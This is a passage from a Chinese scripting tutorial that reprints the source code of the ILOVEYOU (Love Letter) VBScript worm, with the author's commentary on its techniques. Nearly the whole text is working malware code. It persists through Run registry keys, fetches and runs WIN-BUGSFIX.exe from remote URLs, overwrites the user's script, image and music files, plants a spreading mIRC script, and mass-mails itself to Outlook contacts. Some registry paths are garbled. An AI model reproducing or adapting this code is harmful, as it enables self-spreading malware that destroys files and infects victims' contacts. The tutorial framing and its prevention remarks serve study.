好了 ,最基本的脚本编程也就讲完了,其实脚本编写也很简单,你们看看下面这个曾经很出名的 Love Letter病毒的源代码, 除了邮件那部分我没讲,其他的都是一目了然吧?
rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip pines " 注释:程序作者的签名(可能)
On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") " 注释:FileSystemObject是M$ VBVM系统中最危险的部分,它的功能十分强大
sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scriptin g HostSettingsTimeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD" " 注释 - 防止操作超时造成的程序终止。 " 应该说,编写病毒的程序员考虑到了可能发生的问题,这一点值得所有的编程 者借鉴。 end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) " 获取系统关键文件夹的名称 " VB编程时可以用。
Set c = fso.GetFile(WScript.ScriptFullName) "返回当前脚本的完整路径 c.Copy(dirsystem&"MSKernel32.vbs") "Copies a specified file or folder from one location to another. c.Copy(dirwin&"Win32DLL.vbs") c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs") " 复制自身到关键目录中备用。 " 文件名并不是很好。太容易被发现了。
regruns() html() spreadtoemail() listadriv() end sub
sub regruns() " 修改注册表,以便自动装载病毒程序 " 预防:经常检查注册表中的这一分支。 " 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进, " 因为它不会因为语言问题而失效。 On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersio nRunMSKernel32",dirsystem&"MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersio nRunServicesWin32DLL",dirwin&"Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet Explore rDownload Directory") if (downread="") then downread="c:" end if if (fileexist(dirsystem&"WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B UGSFIX.exe" end if end if if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersio nRunWIN-BUGSFIX",downread&"WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain Start Page","about:blank" end if end sub
sub folderlist(folderspec) " 遍历文件夹 On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders "得到某一特定文件夹的所有子文件夹,包括系统隐藏文件夹 for each f1 in sf "f1为每一个子文件夹的对象 infectfiles(f1.path) "传染文件的操作 folderlist(f1.path) "再次进行文件夹遍历 next end sub
sub listadriv " 遍历所有驱动器。 On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then "2.3分别为硬盘和网络共享盘 folderlist(d.path&"") end if Next listadriv = s end sub
function fileexist(filespec) " 判断文件是否存在 " 纯粹从技术角度讲,这段程序写的不怎么样。 " 不用写这么长就能够实现相同的功能 On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function
function folderexist(folderspec) " 判断文件夹是否存在 " 和上一段程序一样臭。 On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function
sub infectfiles(folderspec) " 执行传染文件的操作。 On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files "得到某一特定文件夹的所有文件,包括系统隐藏文件 for each f1 in fc ext=fso.GetExtensionName(f1.path) "得到扩展名 ext=lcase(ext) "转变为小写 s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy "vbscopy=file.ReadAll ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext= "sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&""&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri pt.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corru pt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" " 病毒作者的英文恐怕没学好……不过,这样吓唬人也够损的了。 " 这里提醒各位注意,不要在乎那些吓人的文字,仔细观察就会发现漏洞其实不 少。 scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FO R-YOU.HTM" scriptini.WriteLine "n3=}" " 注意,这样做的结果是,MIRC也能够传染病毒。 scriptini.close eq=folderspec end if end if next end sub
sub regcreate(regkey,regvalue) " 修改注册表(创建键值) " 这个程序似乎是微软的示范程序。 Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub
function regget(value) " 这个程序似乎也是微软的示范程序。(WSH示范,在Windows文件夹) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function
sub spreadtoemail() " 通过电子邮件扩散 On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") " 病毒的局限:只支持Outlook,而Outlook Express则不支持。 set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&male ad) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" " 病毒得名的原因 " 见到这样的邮件,肯定是病毒。 " 头脑正常的人恐怕不会这样直白的。 male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m e." male.Attachments.Add(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead,1, "REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.Addre ssEntries.Count else regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.Addre ssEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html " 从技术角度说,这段程序写得很漂亮,原因在于充分地利用了 Outlook 的资源 " 值得编写程序的借鉴。 " 程序中间的_符号是连接线,所以注释写在这里。 " 程序中无效语句很多,浪费了不少空间。 On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Gene rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @G RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go od...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LO VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@ >"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active X<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>-------- --z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight ;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf & _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v bs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),""") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"") dt2=replace(dta2,chr(35)&chr(45)&chr(35),""") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),""",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub